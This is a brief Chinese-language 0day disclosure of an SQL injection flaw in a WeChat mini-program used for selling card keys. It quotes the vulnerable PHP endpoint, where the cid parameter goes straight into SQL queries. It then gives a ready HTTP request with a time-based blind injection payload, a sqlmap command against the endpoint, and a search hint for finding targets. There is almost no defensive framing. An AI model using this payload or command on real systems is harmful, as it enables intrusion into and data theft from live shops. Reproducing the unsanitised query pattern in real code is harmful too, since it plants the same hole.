某新版微信发卡小程序存在SQL注入漏洞(0day)

小程序搜索:发卡

<?phperror_reporting(0);include __DIR__ . '/../includes/common.php';require __DIR__ . '/../includes/wxLogin.php';$code = isset($_GET['code']) && !empty($_GET['code']) ? $_GET['code'] : exit(json_encode(array('code' => -1, 'msg' => '缺失code参数值')));$cid = isset($_GET['cid']) && !empty($_GET['cid']) ? $_GET['cid'] : exit(json_encode(array('code' => -1, 'msg' => '缺失cid参数值')));$trade_no = isset($_GET['trade_no']) && !empty($_GET['trade_no']) ? $_GET['trade_no'] : NULL;//微信小程序校验$wxLogin = wxLogin::wx_login($code);$wxLogin = json_decode($wxLogin, true);if ($wxLogin['code'] != 200) {    exit('{"code":-1,"msg":"' . $wxLogin['msg'] . '！"}');}$openid = $wxLogin['openid'];$classCid = $DB->get_row("select * from kami_class where active=1 and cid={$cid}");if (!$classCid) {    exit(json_encode(array('code' => -1, 'msg' => '当前领取的卡密类型不存在')));}$cidCarmel = $DB->get_row("select * from kami_faka where cid={$cid} and usetime is null");if (!$cidCarmel) {    exit(json_encode(array('code' => -1, 'msg' => '此类型卡密已经被领完了，请联系管理员加卡密。')));}

GET /Api/getCarmel.php?code=0e1dOtll2rN8Sd4q4iol236skm4dOtlp&cid=(SELECT%203720%20FROM%20(SELECT(SLEEP(5)))IPDC) HTTP/2Host: 127.0.0.1Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9

python sqlmap.py -u "http://127.0.0.1/api/getCarmel.php?code=1234&cid=*" --level=3 --dbms=mysql --proxy "http://127.0.0.1:8080"